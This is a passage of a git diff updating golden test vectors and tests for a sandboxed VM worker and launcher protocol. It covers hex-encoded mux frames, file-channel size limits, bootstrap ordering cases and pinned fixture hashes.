"574d58310101000004000000390700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434222c2235353535353535352d353535352d343535352d383535352d353535353535353535353535225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boot-uppercase", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2241414141414141412d414141412d344141412d384141412d414141414141414141414141225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-longer-than-the-set", + "direction": "up", + "hex": "574d58310101000006000000bb0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65222c226672657368225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuation-either", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22656974686572225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-missing", + "direction": "up", + "hex": "574d58310101000006000000980000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "error": "bad_field" } ] } diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/runtime-flow.json b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/runtime-flow.json index 9cb543122..f45cd4753 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/runtime-flow.json +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/runtime-flow.json @@ -145,6 +145,99 @@ ], "refusedAt": null }, + { + "name": "an-empty-out-end-frame-clears-nothing", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 0, + "end": true + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 2 + }, + { + "name": "an-empty-err-end-frame-clears-nothing", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "err", + "bytes": 0, + "end": true + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 2 + }, + { + "name": "a-one-byte-out-frame-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 1 + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, + { + "name": "a-one-byte-out-frame-with-end-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 1, + "end": true + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, + { + "name": "a-one-byte-err-frame-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "err", + "bytes": 1 + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, { "name": "two-chunks-then-more-than-the-rest", "steps": [ @@ -159,5 +252,317 @@ ], "refusedAt": 1 } + ], + "fileRequestBytes": 16384, + "fileResponseBytes": 393216, + "fileInFlightRequests": 4, + "fileNote": "Contract revision 3, the guest file channel on conversation 0. A step is `bytes` payload bytes of which the last `newlines` are line ends. FILE_IN request lines count against their own bound (fileInFlightRequests outstanding, fileRequestBytes per line, newline included); a request is answered when a FILE_OUT response line ends; FILE_OUT bytes never clear the runtime IN count and FILE_IN bytes never add to it. `refusedAt` is the index of the first refused step and `error` its code, or null when every step is accepted.", + "fileCases": [ + { + "name": "four-outstanding-requests-are-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-fifth-outstanding-request-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 4, + "error": "oversize" + }, + { + "name": "a-response-frees-one-slot", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "four-requests-in-one-frame", + "steps": [ + { + "stream": "file_in", + "bytes": 400, + "newlines": 4 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "five-requests-in-one-frame-are-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 500, + "newlines": 5 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-of-exactly-16-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 16385, + "newlines": 0 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-split-across-frames-counts-once", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-split-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6385, + "newlines": 1 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "a-response-with-nothing-outstanding-is-refused", + "steps": [ + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 0, + "error": "bad_field" + }, + { + "name": "a-response-line-of-exactly-384-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393216, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-response-line-over-384-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393217, + "newlines": 0 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "file-out-bytes-never-clear-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 3, + "error": "oversize" + }, + { + "name": "file-in-bytes-never-add-to-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "runtime-out-bytes-never-answer-a-file-request", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "out", + "bytes": 10 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 5, + "error": "oversize" + } ] } diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/test_guards.py b/apple/Cowork/WinterCoworkHVFWorker/Tests/test_guards.py index 468198c5f..884f5d24f 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/test_guards.py +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/test_guards.py @@ -305,11 +305,16 @@ def test_the_fixtures_are_the_pinned_s1_vectors(self): pins = json.loads((TESTS / "fixtures" / "PINS.json").read_text()) self.assertEqual(sorted(pins["files"]), ["bootstrap-order.json", "envelopes.json", "guest-stop.json", "launcher-lines.json", "mux-frames.json", "runtime-flow.json", "runtime-image.json", "stop-receipts.json"]) self.assertEqual(pins["source"]["head"], "6c1f04e807df3a10579d6f14a15e39652bd1c7a6") + # Contract revision 3: the three files the worker relays blind or never reads are re-copied from that commit; the rest stay at source.head (SH3 moves them). + revision3 = pins["sourceRevision3"] + self.assertRegex(revision3["head"], r"^[0-9a-f]{40}$") + self.assertEqual(sorted(revision3["files"]), ["bootstrap-order.json", "mux-frames.json", "runtime-flow.json"]) + self.assertEqual(revision3["directory"], pins["source"]["directory"]) for name, expected in pins["files"].items(): self.assertEqual(hashlib.sha256((TESTS / "fixtures" / name).read_bytes()).hexdigest(), expected, name) self.assertEqual(pins["source"]["lastCommitTouchingTheseFiles"], pins["source"]["head"]) self.assertEqual(len(pins["relayBlind"]["vectors"]), len(set(pins["relayBlind"]["vectors"]))) - self.assertEqual(len(pins["relayBlind"]["vectors"]), 84) + self.assertEqual(len(pins["relayBlind"]["vectors"]), 124) self.assertFalse([name for name in pins["relayBlind"]["vectors"] if name.startswith("control-")], "control frames are the worker's own: none of them is passed through") def test_every_test_source_is_run_and_none_touches_the_sandbox_or_a_vm(self): diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/test_mux.c b/apple/Cowork/WinterCoworkHVFWorker/Tests/test_mux.c index 2c0827982..fd07983f1 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/test_mux.c +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/test_mux.c @@ -8,7 +8,7 @@ #include static void golden_vectors(void) { - CHECK(MUX_VECTOR_COUNT == 145); /* 36 positive + 109 negative in the pinned file */ + CHECK(MUX_VECTOR_COUNT == 200); /* 51 positive + 149 negative in the pinned file (contract revision 3) */ unsigned blind_seen = 0; for (size_t i = 0; i < MUX_VECTOR_COUNT; i++) { const cw_mux_vector *v = &mux_vectors[i]; diff --git a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/GoldenVectorTests.swift b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/GoldenVectorTests.swift index 96ef4f6e5..a1b815d24 100644 --- a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/GoldenVectorTests.swift +++ b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/GoldenVectorTests.swift @@ -118,7 +118,7 @@ final class GoldenVectorTests: XCTestCase { func testMuxFrameVectorsHeaderLevel() throws { let document = try loadVector("mux-frames.json") let positives = try XCTUnwrap(document["positive"] as? [[String: Any]]) - XCTAssertEqual(positives.count, 36) + XCTAssertEqual(positives.count, 51) for vector in positives { let name = vector["name"] as! String, raw = bytes(fromHex: vector["hex"] as! String) let header = try MuxFormat.parseFrame(raw) @@ -127,14 +127,14 @@ final class GoldenVectorTests: XCTestCase { XCTAssertEqual(MuxFormat.frame(header.muxClass, seq: header.seq, payload: Array(raw[WireLimits.headerBytes...])), raw, "\(name): frame encoder and decoder must agree byte for byte") } let negatives = try XCTUnwrap(document["negative"] as? [[String: Any]]) - XCTAssertEqual(negatives.count, 109) + XCTAssertEqual(negatives.count, 149) var headerLevel = 0, payloadLevel: [String] = [] for vector in negatives { let name = vector["name"] as! String let got = failure { _ = try MuxFormat.parseFrame(bytes(fromHex: vector["hex"] as! String)) } if let got { XCTAssertEqual(got, vector["error"] as? String, name); headerLevel += 1 } else { payloadLevel.append(name) } } - XCTAssertEqual(headerLevel + payloadLevel.count, 109) + XCTAssertEqual(headerLevel + payloadLevel.count, 149) // The split is part of the contract between the relay and its endpoints: pin it so a drift in either direction is visible. XCTAssertEqual(payloadLevel.sorted(), Self.expectedPayloadLevelMux.sorted(), "these are refused by the endpoints, not by the relay") } @@ -154,7 +154,7 @@ final class GoldenVectorTests: XCTestCase { "conversations-provider-url-key", "conversations-root-dotdot", "conversations-root-empty-component", "conversations-root-folders-without-name", "conversations-root-ids-repeat", "conversations-root-outputs-of-another-session", "conversations-root-relative", "conversations-root-source-outside-workspace", "conversations-root-view-not-allowed", "conversations-root-views-nested", "conversations-runtime-uid-equals-tool-uid", "conversations-seventeen-items", - "conversations-timeout-fraction", "conversations-timeout-over-ten-minutes", "conversations-timeout-zero", "conversations-tool-class-unknown", + "conversations-timeout-fraction", "conversations-timeout-over-a-day", "conversations-timeout-zero", "conversations-tool-class-unknown", "conversations-tool-classes-repeat", "conversations-tool-classes-unordered", "conversations-travelling-up", "conversations-two-host-query-conversations", "conversations-uid-65535", "conversations-uid-above-65535", "conversations-uid-and-gid-as-strings", "conversations-uid-below-1000", "conversations-uid-nobody-65534", "conversations-uid-reused-across-items", "conversations-unknown-profile", "conversations-wrong-incarnation-in-item", "conversations-wrong-incarnation-in-message", @@ -162,6 +162,17 @@ final class GoldenVectorTests: XCTestCase { "runtime-empty-without-end", "runtime-flags-two", "runtime-prefix-too-short", "runtime-ready-seventeen-conversations", "runtime-ready-travelling-down", "runtime-ready-zero-conversations", "runtime-reserved-nonzero", "runtime-stderr-travelling-down", "runtime-stdin-travelling-up", "runtime-stdout-travelling-down", "runtime-stream-four", "runtime-stream-zero", + // Contract revision 3: shares, cold resume, the browse uid, the bootstrap version and the file streams. All payload-level. + "bootstrap-version-one", "bootstrap-version-three", "runtime-file-in-travelling-up", "runtime-file-out-travelling-down", + "runtime-stream-six", "runtime-file-in-on-conversation-one", "runtime-file-out-on-conversation-one", "runtime-file-out-empty-without-end", + "shares-travelling-up", "shares-mounted-travelling-down", "shares-empty-list", "shares-thirteen", + "shares-ten-folders", "shares-duplicate-tag", "shares-duplicate-guest-path", "shares-tag-uppercase", + "shares-tag-thirty-three", "shares-guidance-writable", "shares-memory-read-only", "shares-outputs-wrong-mount", + "shares-folder-nested-mount", "shares-folder-outside-folders", "shares-two-memory", "shares-unknown-kind", + "shares-extra-key", "conversations-browse-uid-equals-runtime-uid", "conversations-browse-uid-equals-tool-uid", "conversations-browse-uid-equals-gid", + "conversations-browse-uid-nobody", "conversations-browse-uid-missing", "conversations-continuation-unknown", "conversations-continuation-missing", + "conversations-fresh-with-ended-boots", "conversations-ended-boots-include-the-live-boot", "conversations-ended-boots-repeated", "conversations-ended-boots-five", + "conversations-ended-boot-uppercase", "runtime-ready-continuations-longer-than-the-set", "runtime-ready-continuation-either", "runtime-ready-continuations-missing", ] // MARK: the runtime image digest (the launcher recomputes it) @@ -278,7 +289,7 @@ final class GoldenVectorTests: XCTestCase { /// started to judge order or flow (a second, divergent oracle) would fail here. func testTheRelayCarriesEveryBootstrapTranscriptAndEveryRuntimeFlowStepWithoutJudgingThem() throws { let order = try XCTUnwrap(try loadVector("bootstrap-order.json")["cases"] as? [[String: Any]]) - XCTAssertEqual(order.count, 16) + XCTAssertEqual(order.count, 25) var misordered = 0 for transcript in order { if ((transcript["result"] as! [String: Any])["ok"] as? Bool) == false { misordered += 1 } @@ -306,6 +317,17 @@ final class GoldenVectorTests: XCTestCase { } } XCTAssertGreaterThanOrEqual(refused, 4) + // Contract revision 3: the file channel's streams 4 (down) and 5 (up) are runtime frames too, and their own in-flight bound is the endpoints' business. + let fileCases = try XCTUnwrap(flow["fileCases"] as? [[String: Any]]) + XCTAssertEqual(fileCases.count, 15) + for c in fileCases { + for (index, step) in (c["steps"] as! [[String: Any]]).enumerated() { + let stream: UInt8 = ["in": 1, "out": 2, "err": 3, "file_in": 4, "file_out": 5][step["stream"] as! String]! + let payload = [0, stream, 0, 0] + [UInt8](repeating: 0x61, count: step["bytes"] as! Int) + let frame = MuxFormat.frame(.runtime, seq: UInt32(index + 1), payload: payload) + if payload.count <= MuxClass.runtime.payloadCeiling { XCTAssertEqual(try MuxFormat.parseRelayable(frame).muxClass, .runtime, c["name"] as! String) } + } + } } // MARK: the retained-receipt MAC (stop-receipts.json, macVectors) diff --git a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/PINS.json b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/PINS.json index b751ae4ec..6ab16b44e 100644 --- a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/PINS.json +++ b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/PINS.json @@ -6,13 +6,23 @@ "sourceHeadWhenCopied": "35c8e0f5546b0f5b86659cda6c9a66a6876e3954", "contractDocSha256AtSourceHead": "fb8f02759c4d17bce8f16c264f4bf18ed02d82457f3e7ab0257ea7f4a736da66", "sha256": { - "bootstrap-order.json": "36be531467c3ceb9d91f0f2cefb02ec40fba324878a021fe5247317a3c389ca4", + "bootstrap-order.json": "2475e6104387b901ff029cd0580849b5bc417a4aefd2e4a1b2019c45a1a0d2cb", "envelopes.json": "115be96ae7021cecfb6e1bb72260e21d3cce6e230133e54da6b3a5f915ac9ffb", "guest-stop.json": "beba7550e5b6dfdaee71345f723a4b17329f39d89533e9860baddb4fc3628a72", "launcher-lines.json": "1b9c23efa706007183bb44bb3a5155fa26c9f9ba7415217f059c391b8ecc629c", - "mux-frames.json": "d80c4211b76f8b9074328ed57dc0f5a78b8bab9a3b6275aae850736c3bdf20e1", - "runtime-flow.json": "93cda633df4228cb7e66e10a13048ba01d3b574d8d64871da8b8da7a1b4ee52c", + "mux-frames.json": "e0f92dff66a83bfd41ad9673fece53455b827fab3694250a2ea63a7c0b098b3e", + "runtime-flow.json": "06c79a37d3f34ac6a5ec8045101267e12a57a1b54b698e3cf8718248801fc4b6", "runtime-image.json": "2929af10fe5593a748b4f9d8c1506f2a1393c62b6e4fe4ffc0dba429f4496858", "stop-receipts.json": "aee2831ae17ae8380d8e8424041aa286eb2a8639b6ab056eccbfbd2cbe86b358" + }, + "revision3": { + "note": "Contract revision 3 (2026-10-19). bootstrap-order, mux-frames and runtime-flow are re-copied from this commit because the launcher relays bootstrap and runtime frames blind; launcher-lines and envelopes stay at lastCommitTouchingVectors until the launcher implements the new L1 lines and L2 kinds (SH4).", + "branch": "cowork/n2-contract-v3", + "commit": "5af774eba6774916e74bcd6c2138cff441beb512", + "files": [ + "bootstrap-order.json", + "mux-frames.json", + "runtime-flow.json" + ] } } diff --git a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/bootstrap-order.json b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/bootstrap-order.json index 178f6e43f..c16f42932 100644 --- a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/bootstrap-order.json +++ b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/bootstrap-order.json @@ -461,6 +461,338 @@ "index": 1, "reason": "out_of_order" } + }, + { + "name": "full-sequence-with-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "up", + "t": "runtime_ready" + } + ], + "result": { + "ok": true + } + }, + { + "name": "shares-without-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": true + } + }, + { + "name": "conversations-before-shares-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "conversations" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-after-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-before-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 4, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-without-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 5, + "reason": "out_of_order" + } + }, + { + "name": "shares-twice", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-travelling-down", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "fault-answering-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "fault" + } + ], + "result": { + "ok": true + } } ] } diff --git a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/mux-frames.json b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/mux-frames.json index 40112396a..cc6e81a4e 100644 --- a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/mux-frames.json +++ 